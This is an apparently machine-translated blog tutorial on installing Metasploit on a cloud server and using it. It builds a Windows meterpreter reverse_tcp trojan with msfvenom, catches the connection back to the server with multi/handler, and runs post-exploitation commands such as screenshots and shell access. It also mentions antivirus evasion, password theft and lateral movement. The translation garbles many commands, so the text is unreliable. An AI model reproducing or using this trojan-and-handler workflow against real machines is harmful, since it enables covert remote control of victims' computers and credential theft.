MSF installed on the cloud server environment

In the campus network, prohibit the use of a router, it has led to their own local virtual machine environment, various kinds of network problems, to solve too complicated, so MSF is installed on the server

metasploit

0x00 install MSF

Use Xshellother tools has connected to the remote server, first make sure that the web server is outside the normal access network

Use curl http://dyboy.cn test

Network no problem, the next command is as follows

// Change directory 
cd / Home 

// obtain MSF installation script 
curl HTTPS: // raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall 

// modified permissions 
chmod 755 msfinstall 

// start the installation 
./msfinstall

 

 

After a while it installed, network bandwidth, server is very high, that fast download speeds server

0x01 install postgresql

Because the MSFneed to record some data, depending on postgresql, it is also necessary to install

Also in the current homedirectory

// get install 
APT- GET install postgresql 

// switch to the postgres user 
su postgres 

// login postgresql database, first log in without a password 
psql 

// modify the database password for the user postgres 
\ password postgres 

// quit 
\ q 

// initialize 
msfdb init

 

 

0X02 MSF first experience

// generate Pony file 
msfvenom -p windows / meterpreter / reverse_tcp LHOST = server IP LPORT = -o server listening port of the Test EXE -f. EXE 

// enter msf 
msfconsole 

// monitor 
use exploit / Multi / Handler 

// set the payload 
the SET Windows payload / Meterpreter / reverse_tcp 

// set 
the sET lhost 0.0.0.0 

the sET LPORT server listens on port 

// run 
run

 

 

In the actual environment which also need to pony file operations such as coding kill free

Local computer to perform test.exefile

The server obtain the session

Get session

Acquired the Trojan is currently executing user's identity

Session authentication

// will then maintain the 
background 

// enumerate sessions 
Sessions 

// into the session 
sesions session the above mentioned id 

// get the target host Screenshots 
Screenshot 

// enter the target host Shell 
shell 

// exit the shell 
Exit 

// more content can be viewed by helping 
help

 

 

Follow-up is put right, grab the password, the lateral penetration of things

Guess you like

Origin www.cnblogs.com/M0rta1s/p/11920903.html